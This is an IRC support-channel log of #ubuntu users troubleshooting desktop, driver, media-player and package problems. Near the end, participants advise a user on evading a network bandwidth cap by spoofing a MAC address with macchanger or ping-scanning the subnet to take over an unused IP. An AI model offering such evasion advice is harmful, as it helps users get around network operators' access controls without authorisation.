[02:02] <hypa7ia> hi #ubuntu, i'm still trying to resolve a booting issue on a fresh default install of 7.10 - it hangs after the text "boot from CD \n grub loading stage 1.5" appears
[02:02] <thedefender> I just want to be able to shutdown XGL during the time i am using process critical programs and then re-enable it when i want a pretty desktop again
[02:03] <flyingfree> usr13 must be gone not there in the bin folder
[02:03] <flyingfree> gmplayer or mplayer let me check command line
[02:03] <SuperSnout> my azureus is messed up.. when I start it it has an error now.. I think it's because I interrupted it in Terminal.. :/
[02:03] <usr13> flyingfree: which gmplayer
[02:03] <SuperSnout> Is there any way to fix it?
[02:03] <D4niel> well in 7.04 if u start a gdm session with xgl, u can logout and try another gdm session
[02:03] <scguy318> SuperSnout: Azureus crashing is a known bug
[02:03] <scguy318> SuperSnout: there are better clients anyway
[02:03] <SuperSnout> scguy318: it just wont start
[02:03] <usr13> flyingfree: which gmplayer    will tell you where it is located.
[02:04] <scguy318> SuperSnout: you could do rm ~/.azureus I think
[02:04] <scguy318> SuperSnout: rm -r ~/.azureus
[02:04] <flyingfree> okay I'll try that thanks
[02:04] <thedefender> but in gutsy XGL is automatically part of the default session
[02:04] <thedefender> once installed
[02:04] <flyingfree> usr13 which gmplayer returns nothing
[02:04] <flyingfree> usr 13 which mplayer returns othing
[02:04] <usr13> flyingfree: which mplayer
[02:04] <Jordan_U> thedefender, There is a file that it checks for at login, something like "~/.disable-xgl"
[02:04] <D4niel> ye i think maybe we can try the failsafe gnome session
[02:04] <flyingfree> usr13 therefore not installed?
[02:04] <jadacyru2> im using bluetooth between my LG phone and my laptop on gutsy, ive bonded and trusted the devices but i dont know how to browse through my phone so i can put music on there, when i goto browse device it doesnt show up but it shows up under preferences
[02:05] <sasimon19> I need help setting the server root from the default in ubuntu (/var/www/) to another directory (mounted in /media/windowsxp/Program Files/Apache Software Foundation/Apache2.2/htdocs) I tried editing it in the /etc/apache2/apache2.conf file and restarting apache but no luck, it's the same for some reason... php works in that directory but I can't figure out how to move the default directory...
[02:05] <usr13> flyingfree: You must not have gmplayer installed  Yes... it is not installed
[02:05] <flyingfree> k thnks
[02:05] <scguy318> SuperSnout: if Azureus doesn't want to work you can use KTorrent, rTorrent, uTorrent (on Wine)
[02:05] <usr13> flyingfree: If you want to install gmplayer  do     apt-get install gmplayer
[02:05] <Yachi> could i install my headset drivers in wine?
[02:05] <Jordan_U> usr13, Actually the mplayer package installs gmplayer
[02:06] <flying_penguin> mplayer is great
[02:06] <scguy318> Yachi: no
[02:06] <flying_penguin> gmplayer seems to crash alot
[02:06] <scguy318> Yachi: Wine deals with userspace
[02:06] <Yachi> feck
[02:07] <D4niel> smplayer is nice
[02:07] <Yachi> well i got the windows drivers out of the .exe
[02:07] <flying_penguin> if you install drivers in wine they will only work when you have wine running them
[02:07] <scguy318> Yachi: what audio chipset is it? maybe latest ALSA tarball could get it to work
[02:07] <Yachi> USB
[02:07] <thedefender> !language | Yachi
[02:07] <ubotu> Yachi: Please watch your language and topic, and keep this channel family friendly.
[02:07] <usr13> flyingfree: What you have is mplayer, whic is fine, but it  is not a gui application.  It is to be run from command-line.
[02:07] <flying_penguin> thats alot of overhead for regular usage
[02:07] <scguy318> Yachi: I know USB, but what chipset?
[02:07] <Yachi> sorry ;)
[02:07] <flying_penguin> if you want a gui player i would suggest vlc
[02:07] <sFEARs> if i have the build-essentials package installed will it show in the add/remove programs?
[02:07] <Yachi> chipset for what?
[02:07] <SuperSnout> scguy318: Do I have to have terminal running for azureus to work? if i close terminal azureus closes too..
[02:07] <scguy318> Yachi: your headset
[02:07] <flyingfree> thanks all for your help
[02:08] <flyingfree> next qustion
[02:08] <scguy318> SuperSnout: no...
[02:08] <scguy318> SuperSnout: you can start it from Applications menu
[02:08] <scguy318> SuperSnout: or start azureus with nohup if you like
[02:08] <thedefender> ahh don't worry about it, didn't think the language command actually exisisted

[02:10] <ubotu> xubuntu is Ubuntu with Xfce instead of Gnome. For more info, see http://www.xubuntu.org and http://wiki.ubuntu.com/Xubuntu/ - To install from Ubuntu: "sudo apt-get install xubuntu-desktop". | For support, see #xubuntu | See also: !ubuntu and !xubuntu-channels
[02:10] <ubotu> LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL.

[02:11] <flyingfree> really, haven't found I like totem interface much looking for something similar to MMJB or winamp
[02:11] <bazhang> flyingfree: tried xmms?
[02:11] <flyingfree> nope
[02:11] <sFEARs> best djing software is MixMeister.. it's only for windows so far though

[02:11] <K|NgGh0sT> Whats an easy way to see if a drive is dead or not?
[02:12] <flyingfree> does xmms run well under xfce?
[02:12] <flyingfree> bazhang
[02:12] <flyingfree> bazhang does it have a development or wiki page?
[02:12] <bazhang> flyingfree: sure--looks alot like winamp too
[02:12] <usr13> flyingfree likes fancy,  like maybe Rhythmbox  and   gxine  and  kaffeine  etc.
[02:12] <sFEARs> K|Ng.. try to format it
[02:13] <flyingfree> usr13 yup
[02:13] <thedefender> why is gnome the default interface if Xfce is considered faster and less of a resource hog
[02:13] <thedefender> for ubuntu
[02:13] <magus_> Which is the best choice to use the xmpp?
[02:13] <mwazny> !sound
[02:13] <ubotu> If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer).

[02:13] <sFEARs> it reminds new linux users of windows? THEDEFENDER
[02:13] <flyingfree> okay thanks for th ee info
[02:13] <thedefender> lol
[02:14] <peglegg> that xubuntu is one broken POS, whereas ubuntu is perfect.
[02:14] <sFEARs> perfect?
[02:14] <bazhang> hehe
[02:14] <thedefender> perfect....right
[02:14] <pyrak> gutsy killed me ability to lock screen when i close my lappy.  anyone know how i can restore that setting?
[02:14] <Yachi> god damnit

[02:15] <clusty> i am having some problem with my external firewire disk
[02:15] <Yachi> now i can hear everything coming in my mic threw my headset
[02:15] <clusty> dmesg sais the following:[ 1994.920000] ieee1394: Error parsing configrom for node 0-00:1023

[02:15] <tonyduke> amule always shuts down randomly ?
[02:16] <ray_> how is it that my music player can find a shared drive, but my network folder cant?
[02:16] <sFEARs> that's a hell of a question
[02:16] <clusty> ray_: samba is black magic. no wonder if nothig works right
[02:16] <sFEARs> have you refreshed?
[02:16] <thedefender> yes i have noticed for some odd reason ubuntu lets the sound of my mic through the speakers even when the mic is muted and recording disabled on it. very odd and annoying due to feedback at high volumes
[02:17] <sFEARs> mabey it's displaying cached info
[02:17] <ray_> i guess so i have no experence with samba
[02:17] <sainzeo> i recently installed vmware workstation 6 onto my 7.10 install, but am unable to build the vmhgfs module - any suggestions?
[02:18] <magicrobotmonkey> anyone installed the new skype? if so, which package?

[02:19] <sFEARs> be more specific SuperSnout
[02:19] <preaction> !best | SuperSnout
[02:19] <ubotu> SuperSnout: Usually, there is no single "best" application to perform a given task. It's up to you to choose among a number of different applications, depending on your preferences, the features you require, and other factors.
[02:20] <SuperSnout> well.. foobar is the best for windows :)
[02:20] <thedefender> i say VLC is the best for both Linux and Windows
[02:20] <sFEARs> i say mixmeister is the best for windows
[02:21] <preaction> i prefer real music players like Amarok and/or rhythmbox
[02:22] <clusty> dmesg sais the following:[ 1994.920000] ieee1394: Error parsing configrom for node 0-00:1023
[02:22] <magicrobotmonkey> hell no, joining a team == meetings
[02:22] <clusty> [ 1994.920000] ieee1394: Node changed: 0-00:1023 -> 0-01:1023
[02:22] <magicrobotmonkey> hell no, joining a team == meetings
[02:22] <sFEARs> if you download ubuntu studio it will have a bunch of different audio apps in there you can play around with
[02:22] <K|NgGh0sT> Buffer I/O error on device sda, logical block 0 <--- Whats that mean?
[02:22] <jadedangel> so why is it that firefox seems to lag on 7.10
[02:22] <SuperSnout> is kubuntu better? :/
[02:22] <thedefender> Supersnout: VLC is highly stable, supports a broad range of formats, and is designed to work for the novice computer user to the professional internet broadcaster
[02:22] <SuperSnout> or does it have limitations?
[02:23] <sFEARs> corrupt fat K|Ng?
[02:23] <sFEARs> sounds toasted
[02:23] <SuperSnout> thedefender: I used to use it for watching videos but it's more cpu intensive than media player classic
[02:23] <Gh0stee> thats what I'm trying to figure out if it is or not
[02:23] <preaction> SuperSnout, every OS has limitations. "better" is relative. we've been through this. try it out if you want, otherwise use gnome, or try xfce, or try icebox, or try ...
[02:23] <sFEARs> have you tried to reformat?
[02:24] <thedefender> SuperSnout: just re nice it then
[02:24] <SuperSnout> preaction: is there anywhere I can find out about the pros and cons? because I don't really know what KDE is tbh
[02:24] <mike__> try wikipedia
[02:24] <sFEARs> kde is kinda like a skin for ubuntu

[02:25] <jadedangel> how does one get updated drivers for all of their periphials, like usb,
[02:25] <preaction> sFEARs, no it's not.
[02:25] <sFEARs> ok.. it's not
[02:25] <SuperSnout> hmm.. ubuntu says the wrong make of mp3 player when I plug my iriver in.. is there any way to fix it?
[02:25] <thedefender> anyone know if there are other plugins for compiz fusion other then the standard load out, maybe community created ones
[02:25] <preaction> SuperSnout, sudo apt-get install kubuntu-desktop <- try it out and see if you like it
[02:26] <SuperSnout> preaction: oh! I thought you would have to completely reinstall the operating system ><
[02:27] <preaction> SuperSnout, KDE is a desktop, like Gnome. it contains components using QT (a windowing toolkit). you can either use the entire system (KDE) or just parts of it, everything is available to you
[02:27] <mike__> hi all, does anyone know of a good window themer for compiz, i liked emraled in beryl but for compuz
[02:27] <mike__> compiz
[02:27] <usr13> SuperSnout: One of the cool things about ubuntu is that it's a one time install.  You never have to re-install.
[02:27] <SuperSnout> usr13: that's really good
[02:28] <preaction> it's also not true: there are ways to hose a system, and for my money it's easier to re-install than it is to dist-upgrade
[02:28] <pavs> sudo apt-get install anarchism
[02:28] <peglegg> i am really impressed with gutsy - it is doing tv-out with the open ati driver, it set up my printer, and my main problem was graphic acceleration, but i haven't had to do anything.
[02:28] <usr13> SuperSnout: Yes, it is really very cool.  When a new  version is released, it just comes to you as an option in updates.
[02:29] <snake> what are the minimal packages that i have to install to have kde in ubuntu. i mean without uninstalling gnome
[02:30] <peglegg> probably install kubuntu-desktop
[02:30] <usr13> SuperSnout: And it will just completely re-install all the upgraded packages and kernel and everything.  It might take all night long, but will keep working untill it's all updated to the new version.  The commandline option is:  apt-get dist-upgrade
[02:30] <permanoia> when i try to ssh i get `ssh_exchange_identification: Connection closed by remote host` -- checked router/modem settings seem ok.
[02:30] <nvrpunk> Wisenhunt, you here?
[02:31] <nvrpunk> I just finished up my TCL/Expect script modification to work with windows, can help with the ATI issue
[02:31] <SIT`khoa> is it possible to regenerate my apache.pem server certificate?
[02:31] <SIT`khoa> without doing anything major?
[02:32] <ttols> peglegg: why do you say to install kubuntu instead gnome?  kde is more nice than gnome?
[02:32] <archangel_> ok whats with the GAY harddrive spin down issues with feisty and gutsy ?
[02:32] <mike__> its a personal prefrence
[02:32] <nvrpunk> gnome < kde
[02:32] <archangel_> https://bugs.launchpad.net/ubuntu/+bug/104535
[02:32] <archangel_> is this fixable or not ?
[02:32] <nvrpunk> well qt is much better than gtk
[02:33] <Yachi> ok i got the headset to play music and stuff but the mic is still messed up
[02:33] <jadedangel> how does one get updated drivers for all of their periphials, like usb,
[02:33] <nvrpunk> jadedangel: build a custom kernel
[02:33] <SuperSnout> so if I install the kubuntu desktop i can use ktorrent?
[02:33] <waterbucket> Is there any way to serialize the Live CD of 7.10? I want to try Compiz but I have to reboot to enable drivers
[02:33] <peglegg> ttols: kde is kinda gay looking, all the pretty stuff and all the millions of settings
[02:33] <LjL> !language | peglegg
[02:33] <ubotu> peglegg: Please watch your language and topic, and keep this channel family friendly.
[02:33] <nvrpunk> SuperSnout: you dont need kubuntu to install ktorrent
[02:34] <waterbucket> SuperSnout: if you install Q it should work
[02:34] <waterbucket> *Qt
[02:34] <SuperSnout> nvrpunk: but it's KDE isn't it?
[02:34] <blahnahblahblah> Anyone here use Tor ... I really need help on something
[02:34] <waterbucket> KDE apps use Qt, so just install that
[02:34] <nvrpunk> SuperSnout: which means it uses QT, just the application layers widget implementation
[02:34] <sFEARs> what is Tor?
[02:34] <Yachi> i used to use tor
[02:34] <Yachi> its a proxy
[02:34] <sFEARs> ohh
[02:34] <jester> hey all...
[02:35] <pavs> can I install HFS file system with ubuntu?
[02:35] <mike__> yes???
[02:35] <blahnahblahblah> when i use vidalia it asks for a control password... Im Lost
[02:35] <nvrpunk> SuperSnout: gtk or QT both are libs, people choose which one they want to use with their application, just QT has a different license, it is not GPL
[02:35] <jester> pavs, i believe so...
[02:35] <blahnahblahblah> a tor control password
[02:35] <Yachi> are your trying to run a server?
[02:35] <nvrpunk> SuperSnout: long story short linux is about licenses
[02:35] <blahnahblahblah> just the client side of tor
[02:35] <SuperSnout> so, I need to install qt to use ktorrent?
[02:35] <buzztu> i am having trouble playing quicktime , no sound, via miro which uses vlc.. any ideas/tips?
[02:35] <Yachi> sorry i dont know
[02:36] <nvrpunk> SuperSnout: no, you just need to apt-get install it or use aptituide or synaptics,
[02:36] <nvrpunk> SuperSnout: they fetch the dependancies (deps)
[02:36] <nvrpunk> qt is a dependancy
[02:36] <thedefender> anyone know if there are other plugins for compiz fusion other then the standard load out, maybe community created ones
[02:36] <blahnahblahblah> this sux i cant google find it anywhere
[02:36] <pavs> jester i read somewhere hfs is not supported by ubuntu (or doesnt work properly, ie broken) but works with fedora and some other distros, anyone know anything about it?
[02:36] <mike__> no clue sorr y
[02:36] <SuperSnout> the kubuntu desktop installation is asking me what default display manager I want.. should I say KDM?
[02:37] <waterbucket> thedefender: do you know of a way to change video drivers on the LiveCD without rebooting?
[02:37] <jester> pavs, i havent, i was just guessing...
[02:37] <nvrpunk> thedefender: yes there are, #compiz-fusion
[02:37] <jester> SuperSnout, yes...
[02:37] <nvrpunk> SuperSnout: if youre using Kubuntu, yes
[02:37] <nvrpunk> otherwise why would you use kubuntu?
[02:37] <SuperSnout> :)
[02:37] <nvrpunk> really I have no clue why they even have kubuntu and xubuntu
[02:37] <nvrpunk> its all the same thing
[02:38] <nvrpunk> just slightly different builds here and there
[02:38] <thedefender> waterbucket: not sure, ANYONE know if Crtl + Alt + Backspace works while in live CD
[02:38] <waterbucket> nvrpunk: matters for the livecd I guess
[02:38] <pavs> SuperSnout: KDM for kubuntu and GDM gnome
[02:38] <jester> nvrpunk, differnt things... but not much...
[02:38] <jester> thedefender, yes, it does.
[02:38] <sFEARs> KDM looks cooler but runs a little slower.. gnome is the standard ubuntu desktop SuperSnout
[02:38] <nvrpunk> in all honesty its a waste of server space and resources
[02:38] <waterbucket> thedefender: it does
[02:38] <waterbucket> thedefender: but it won't let you change to direct rendering without a full reboot
[02:38] <waterbucket> I just wanna try out Compiz-Fusion
[02:38] <sFEARs> does a lot more than look cooler.. but for starters sake
[02:39] <SuperSnout> what happens if i cancel the installation of kubuntu?
[02:39] <thedefender> waterbucket: compiz fusion worked on the live CD for me and i am running an ATI card
[02:39] <jester> waterbucket, actually, i think it will....
[02:39] <waterbucket> SuperSnout: if you haven't partitioned your HD yet, then nothing happens
[02:39] <waterbucket> jester: it didn't work for me
[02:39] <waterbucket> jester: it just froze
[02:39] <thedefender> waterbucket: whys it not working for you
[02:39] <SuperSnout> I'm installing kubuntu desktop
[02:39] <nvrpunk> I almost left my military workstation with a static IP to a layer 2 device I was programming :( I would have been in deep poo if I left it like that and anyone else couldnt use it heh
[02:39] <waterbucket> I could change my monitor and ctrl-alt-backspace, but not DRI
[02:39] <jester> really? i just installed the restricted driver, and just restarted x....
[02:40] <waterbucket> hm, maybe it's a hardware issue
[02:40] <waterbucket> I've got Radeon 9800 Pro
[02:40] <thedefender> i am using that exact card and it worked for me
[02:40] <waterbucket> I installed the restricted and restarted, but I got blank screens and death
[02:40] <thedefender> r350 series
[02:40] <thedefender> oh
[02:40] <ttols> I using gnome now, if I want to change desktop from gnome to KDE, how to set my system?
[02:40] <SuperSnout> ok.. I just cancelled the kubuntu desktop installation.. will I have some dodgy half installed files lying around?
[02:40] <SuperSnout> is there some way to clean it up?
[02:41] <waterbucket> SuperSnout: how far did you go in the installation?
[02:41] <waterbucket> did you already format and begin copying files?
[02:41] <thedefender> waterbucket: ok this is what you can do, you can use the opensource drivers and it will work ok
[02:41] <bazhang> ttols: in login screen choose session
[02:41] <SuperSnout> waterbucket: unpacking stuff
[02:41] <waterbucket> thedefender: which one is that?
[02:41] <ttols> my system is ubuntu edgy
[02:41] <waterbucket> I tried "radeon" and it defaulted to "ati"
[02:41] <thedefender> waterbucket: but since you have the restricted drivers installed already you can install XGL and it should work but you would still have to restart
[02:41] <SuperSnout> waterbucket:  and setting up some things
[02:41] <waterbucket> SuperSnout: then just delete the partitions it made
[02:42] <SuperSnout> waterbucket: I don't think it made partitions..
[02:42] <GamingX_> Guys, How do i install a proxy on ubuntu?
[02:42] <thedefender> waterbucket: just restart without the restricted drivers and install the compiz manager
[02:42] <Middleastin> HEllo
[02:42] <bazhang> ttols: doesn't make a difference--choose session, then click the DE you want
[02:42] <Middleastin> any wanna help me out
[02:42] <sFEARs> hello
[02:42] <waterbucket> thedefender: well, without the restricted drivers I had no DRI
[02:43] <sFEARs> depends where your in
[02:43] <waterbucket> thedefender: when I tried to enable Compiz effects in Ubuntu Appearance controls, it failed
[02:43] <d0lph1nK1ng> can i get Emerald Themes to work with Xcompmgr?
[02:43] <thedefender> waterbucket: compiz will work and when i popped in the live cd my radeon 9800 pro loaded the opensource FGLRX, which supports DRI and AIGLX
[02:43] <Middleastin> i need help in desktop effects
[02:43] <sFEARs> proally can't help but ask away
[02:44] <ttols> bazhang: KDE is not be in loggin session. and was not checked in synatic.
[02:44] <waterbucket> thedefender: so you didn't use the Appearance control? just install the compiz manager separately?
[02:44] <bazhang> Middleastin: please be specific
[02:44] <bazhang> ttols: what are the choices?
[02:44] <Middleastin> my desktop effect ask that it needs nivida hardware
[02:45] <Middleastin> its not installed
[02:45] <sFEARs> hardware is the key word there
[02:45] <Middleastin> nice
[02:45] <thedefender> waterbucket: if you tried to enable more effects using apperences and it said composite failed then the manager won't help
[02:46] <thedefender> odd, i swore when i was using the live cd that the opensource ati driver allowed DRI for a single screen
[02:46] <Yachi> rahh
[02:46] <ttols> bazhang: gnome, terminal safemode, Xgl and gnome safemode are available
[02:46] <Middleastin> well i when and did the estricted driver
[02:46] <sFEARs> sounds like your using software that requires faster hardware.. proally need a better graphics card
[02:46] <Yachi> i got the headset working, but the mic still wont put audio towards teamspeak
[02:46] <ttols> bazhang: I'm using gnome session.
[02:46] <SuperSnout> is there any way i can reverse the effects of "sudo apt-get install kubuntu-desktop"?
[02:46] <Middleastin> i have a a20m
[02:46] <Middleastin> IBM
[02:46] <bazhang> ttols: and you want KDE?
[02:46] <Middleastin> dont they support linux
[02:46] <MasterShrek> SuperSnout sudo apt-get purge kubuntu-desktop i think shold do it
[02:46] <ttols> bazhang: yes :)
[02:47] <sFEARs> your thinking about it backwards
[02:47] <bazhang> ttols: install kubuntu-desktop
[02:47] <Middleastin> how so
[02:47] <sFEARs> your ibm supports linux
[02:47] <waterbucket> Middleastin: if you don't have nvidia hardware, choose the right driver for your system
[02:47] <SuperSnout> MasterShrek: "E: dpkg was interrupted, you must manually run 'dpkg --configure -a' to correct the problem. "
[02:48] <bazhang> ttols: sudo apt-get install kubuntu-desktop
[02:48] <Middleastin> will i use to have a white screen when i use to enable it the i fixed
[02:48] <Middleastin> tha t
[02:48] <sFEARs> what is that.. greek?
[02:48] <Middleastin> what is what
[02:48] <MasterShrek> SuperSnout then run that command to correct the problem
[02:48] <ttols> bazhang: okay I'wll try
[02:48] <bazhang> ttols: and then come over to #kubuntu :}
[02:49] <SuperSnout> MasterShrek:  it requires su privilages
[02:49] <sFEARs> something about a white screen and aresol cans or something?
[02:49] <Middleastin> when i enable my desktop effects it use to come up white
[02:49] <mwazny> heh sorry for so many questions but is there any way to completely remove kopete? I messed it up trying to install a plugin(desklist) and now even when I remove it from the add/remove programs menu and add it again, it's still messed up.
[02:49] <SuperSnout> how do i get su privilages?
[02:50] <sFEARs> sounds like your graphics card isn't fast enough
[02:50] <MasterShrek> SuperSnout use sudo before the command
[02:50] <Middleastin> oh
[02:50] <Middleastin> maybe your right
[02:50] <sFEARs> when it said hardware
[02:50] <Happy_Man> you have to delete the config folder in .kde/apps firsrt
[02:50] <sFEARs> your computer supports linux.. but your graphics card doesn't support compiz
[02:50] <sFEARs> mabey
[02:51] <SuperSnout> oh , and I can't install ktorrent.. there's an errror
[02:51] <Middleastin> when i download a driver
[02:51] <Middleastin> for it
[02:51] <Happy_Man> what's the error for ktorrent?
[02:51] <Middleastin> it stop showing a white screen
[02:51] <Middleastin> then
[02:51] <Middleastin> it showed the error
[02:51] <sFEARs> what driver did you download?
[02:52] <djjoka> how do i uninstall "Azureus"
[02:52] <djjoka> ?
[02:52] <fujin> apt-get remove azureus
[02:52] <Middleastin> it was ATI one
[02:52] <MasterShrek> sudo apt-get remove azureus
[02:52] <fujin> or more bluntly, dpkg --purge azureus
[02:52] <Middleastin> i will take a look
[02:52] <sFEARs> nah
[02:52] <SuperSnout> Happy_Man: oh.. it was just because I had another thing already running
[02:52] <sFEARs> i was just trying to figure out what graphics card you have
[02:52] <Happy_Man> ah, ok
[02:53] <MasterShrek> sudo apt-get purge azureus will do it too :)
[02:53] <Middleastin> yea
[02:54] <Bruno_> Can you run games (like BFME) on VitrualBox?
[02:54] <Happy_Man> maybe
[02:54] <SuperSnout> what does 'ldconfig deferred processing now taking place' mean?
[02:54] <nvrpunk> use Cedega for games
[02:54] <nvrpunk> imo
[02:55] <MasterShrek> Bruno_ as long as it doesnt require 3d acceleration
[02:55] <Happy_Man> no idea
[02:55] <Bruno_> ok
[02:55] <Happy_Man> probably just for internal puposes
[02:55] <Bruno_> thanks
[02:55] <Happy_Man> ignore it
[02:55] <f0rtune> Whats the command to download 'folders' from an FTP server?
[02:55] <SuperSnout> does it mean the install isn't finished if it says ldconfig deferred processing now taking place?
[02:55] <MasterShrek> f0rtune use an ftp client like gftp
[02:55] <MasterShrek> SuperSnout it means its almost done
[02:56] <sFEARs> looks like everything should work middleastn.. perhaps just a wrong or corrupt driver
[02:56] <SuperSnout> MasterShrek: but it's not continuing.. it's got the thing where I can type a new command :/
[02:56] <sFEARs> http://compiz.org/ATI
[02:56] <Happy_Man> yeah
[02:56] <Happy_Man> it runs at the end of every install
[02:56] <IdleOne> SuperSnout: then it is done
[02:56] <SuperSnout> oh :D
[02:56] <Happy_Man> means the install process is almost done
[02:57] <MasterShrek> SuperSnout then its done if it gives you another prompt
[02:57] <Yachi> i still cant get my mic workin :(

[03:04] <sFEARs> that's way to complicated for me Yachi
[03:04] <Luke_> I'm trying to find aspectj in synaptic because I see it on archive.ubuntu.com but I can't seem to find it. What is this then if it's not in the repos?: http://archive.ubuntu.com/ubuntu/pool/multiverse/a/aspectj/
[03:04] <badkitty> I tried to install vmware and it had an error. Tried to uninstall it and it wouldn't uninstall, now I cannot use synaptic for anything.. any help?
[03:04] <Middleastin> ok
[03:04] <boontoo> this is interesting, when im on this laptop my net has been capped, yet when i unplug this comp and plug into the other computer im uncapped, this means that my capping is done via IP doesnt it? if so how can i change my IP on ubuntu?
[03:04] <mwazny> ya that dpkg thing still didn't work, when I add kopete again, it's still broken
[03:04] <Aeroraptor> I've got some files I want to get to but i don't want to boot into windows to get to 'e

[03:04] <Yachi> yay im back to being f'ed
[03:05] <sFEARs> your IP shouldn't change between computers boontoo
[03:05] <SuperSnout> is it a problem to have one of your partitions in ntfs?
[03:05] <sFEARs> IP is specific to your modem
[03:05] <ToddEDM> hey guys... i was downloading a torrent, and then my PC was shut down, how do i restart it ???? the program was btgui-something
[03:05] <mike__> not in 7.10 ntfs should work
[03:05] <mwazny> and by broken I mean there's a random little box with messed up graphics and it shows everyone as offline even when they aren't
[03:05] <mohamed_> hello all, i have a question about framebuffer i run VDR with softdevice using fb output , the problem that when i change channel or use any menu i can see the consol and logs, is there a method that stop this ?
[03:05] <sFEARs> just reopen your torrent downloader ToddEDM.. should restart automatically
[03:06] <badkitty> sFEARs: IP specific to your modem? huh, IP is most likely issued by the router wouldn't it?
[03:06] <ToddEDM> sFEARs: im not sure how to open it
[03:06] <sFEARs> or router
[03:06] <respuesta> Spears, I have been in the sounds control panel.  I can't seem to get any sound out of it.
[03:06] <boontoo> sFEARs: it does because to use my internet you get re directed to a webpage like 203.something and it asks you to log in, however i worked out that by renaming my account name + password i can log in from my other computer without first disabling the account from this computer
[03:06] <respuesta> Am I missing something?
[03:06] <sFEARs> but the modem supplies the router with IP.. router IP isn't real
[03:06] <sFEARs> and it's sFEARs
[03:06] <sFEARs> git it right
[03:06] <Aeroraptor> router IP is for the local area network, it is very real
[03:07] <badkitty> thats what I put wasn't it?
[03:07] <boontoo> sFEARs: i dont have a router
[03:07] <sFEARs> you won't get any sound out of the control panel.. just have to make sure the volume is turned up
[03:07] <Aeroraptor> a router connects a LAN to a WAN without wasting WAN addresses
[03:07] <f0rtune> what program can convert masses off music files at once?
[03:07] <sFEARs> are you on dial up boontoo?
[03:07] <f0rtune> of*
[03:07] <boontoo> sFEARs: nope ethernet strait into the wall
[03:07] <Aeroraptor> wall? are you at a dorm?
[03:07] <P_Kable> I got a new webcam but camorama gives me an error
[03:07] <sFEARs> ahhhhh
[03:07] <P_Kable> ID 05a9:8519
[03:08] <Aeroraptor> that;s your mac address, means nothing
[03:08] <sFEARs> well... ummmm.. hum, let me think
[03:08] <Aeroraptor> er nvm
[03:08] <respuesta> sFEARs, I've got everything turned up in the sound panel, but still no sound from a CD that's playing.
[03:08] <Jordan_U> boontoo, What are you trying to do? ( curious :)
[03:08] <sFEARs> have you tried a different media player?
[03:08] <Jordan_U> respuesta, Do you have more than one sound card?
[03:09] <boontoo> Jordan_U: Uncap myself, everyday i get a 1 gig limit so i get shaped after 1 gig however just then i plugged in my gfs laptop and it wasnt capped!! so that means there using some weird shaping method perhaps that i can bypass
[03:09] <respuesta> Jordan U, I'm not sure if I've got more than one sound card.  I'm pretty sure I don't.
[03:09] <sFEARs> sounds like it's capped from his network admin huh?
[03:09] <sFEARs> capped by mac address not IP
[03:09] <Middleastin> sFEARs should i use that one you give me to install
[03:09] <Middleastin> Mohamed SALAM
[03:09] <Aeroraptor> boontoo: are you at a doorm?
[03:09] <systemd0wn> Question, my laptop doesn't automatically allow for LCD brightness changing.  (stays 100% when unplugged, or when hitting the function keys)  i can manually change it in /proc/  What can i do to fix this?
[03:09] <Aeroraptor> dorm*
[03:09] <Jordan_U> respuesta, Do you see more than one result from "asoundconf list" ?
[03:09] <boontoo> Aeroraptor: pretty much
[03:09] <Middleastin> hello
[03:10] <sFEARs> you could try it.. that's straight from compiz
[03:10] <Aeroraptor> boontoo: ahhhhhhhh, then you have to change your macaddress
[03:10] <Jordan_U> boontoo, Try changning your mac address
[03:10] <respuesta> Jordan U, I'll check now and get right back to you.
[03:10] <boontoo> and how do i do that
[03:10] <badkitty> E: vmware-player: subprocess pre-removal script returned error exit status 1 : anyone help me with this?
[03:10] <Aeroraptor> HOWEVER, the filters that most unis use are able to catch fake MACs
[03:10] <Aeroraptor> soooo... you're screwed
[03:10] <sFEARs> if it were only that easy to change your MAC address
[03:10] <CyberMad> some of employee that use ubuntu 7.04 have problem with CUPS, so they must do: sudo -i   then enter password, then run /etc/init.d/cupsys restart   after that printer start printing... do you know how to make sudo -i with password then /etc/init.d/cupsys restart in single command or script?
[03:11] <sFEARs> MAC address is hardware specific.. that's how they catch you when you do illegal shit online
[03:11] <systemd0wn> aeroraptor, they might be able to catch duplicate MACs but thats about it.
[03:11] <Jordan_U> badkitty, Yes, and you should go complain to whoever manages that package because it's more than a year old bug
[03:11] <Aeroraptor> there are software ways to do it, but they do not work on lower networking levels, they are mostly used for changing the MAC to pirate software that depends on it
[03:11] <inquisition> hello room
[03:11] <inquisition> any one know how to turn off auto updates
[03:11] <sFEARs> i might be talkin shit on that MAC address thing.. but i'm pretty sure that's how it works
[03:11] <badkitty> Jordan_U: oh yah? How do I fix it?
[03:11] <Aeroraptor> systemd0wn: nope, good hardware sees a real MAC address over a LAN, the software mac doesn;t even get noticed
[03:11] <boontoo> Jordan_U: im pretty sure its a DCHP network with ip based restrictions
[03:12] <sFEARs> you can proally get mac spoofers
[03:12] <Aeroraptor> sFEARs: they won't work though
[03:12] <sFEARs> word
[03:12] <Middleastin> is Mohamed_ here
[03:12] <respuesta> Jordan U, only 1 name came back: ICH6
[03:12] <Jordan_U> badkitty, Let me get the link to the bug report, the solution is in the comments ( and please do add a comment saying you encountered the problem also )
[03:12] <Aeroraptor> boontoo: if it's IP based, then just re-assign an address
[03:12] <boontoo> Aeroraptor: no idea how
[03:12] <boontoo> without ipconfig /release
[03:12] <Aeroraptor> just release yours and apply for a new one
[03:13] <sFEARs> haha.. how did i see that coming
[03:13] <badkitty> Jordan_U: I sure will, thanks in advance
[03:13] <systemd0wn> boontoo, http://www.tiny.cc/macaddy
[03:13] <systemd0wn> boontoo, you can at least try
[03:13] <boontoo> ty
[03:13] <boontoo> i hear macchanger is ok
[03:13] <Aeroraptor> oooor, change your IP to something static, but that is very hit and miss
[03:13] <boontoo> via 5 minutes of google
[03:13] <sFEARs> i think you lost him at ooo
[03:14] <Aeroraptor> likely
[03:14] <chillywilly> *yawn*
[03:14] <sFEARs> boontoo.. i'm guessing your at work.. you need to get permissions from your network admin to do what your doing
[03:14] <Aeroraptor> I'm a cisco student, I know a good bit about these things :)
[03:14] <chillywilly> my terminal fonts are horrible after upgrading to gutsy...can anyone help with that?
[03:14] <Aeroraptor> sFEARs: he said he;s at a dorm
[03:14] <boontoo> sFEARs: im at home =p
[03:15] <systemd0wn> aeroraptor, well i mean its not entirely hit or miss, if you already know the subnet, ping scan and pick a dead host, hope it actually is open.
[03:15] <sFEARs> ohh.. yeah yeah
[03:15] <sFEARs> at you have a limit
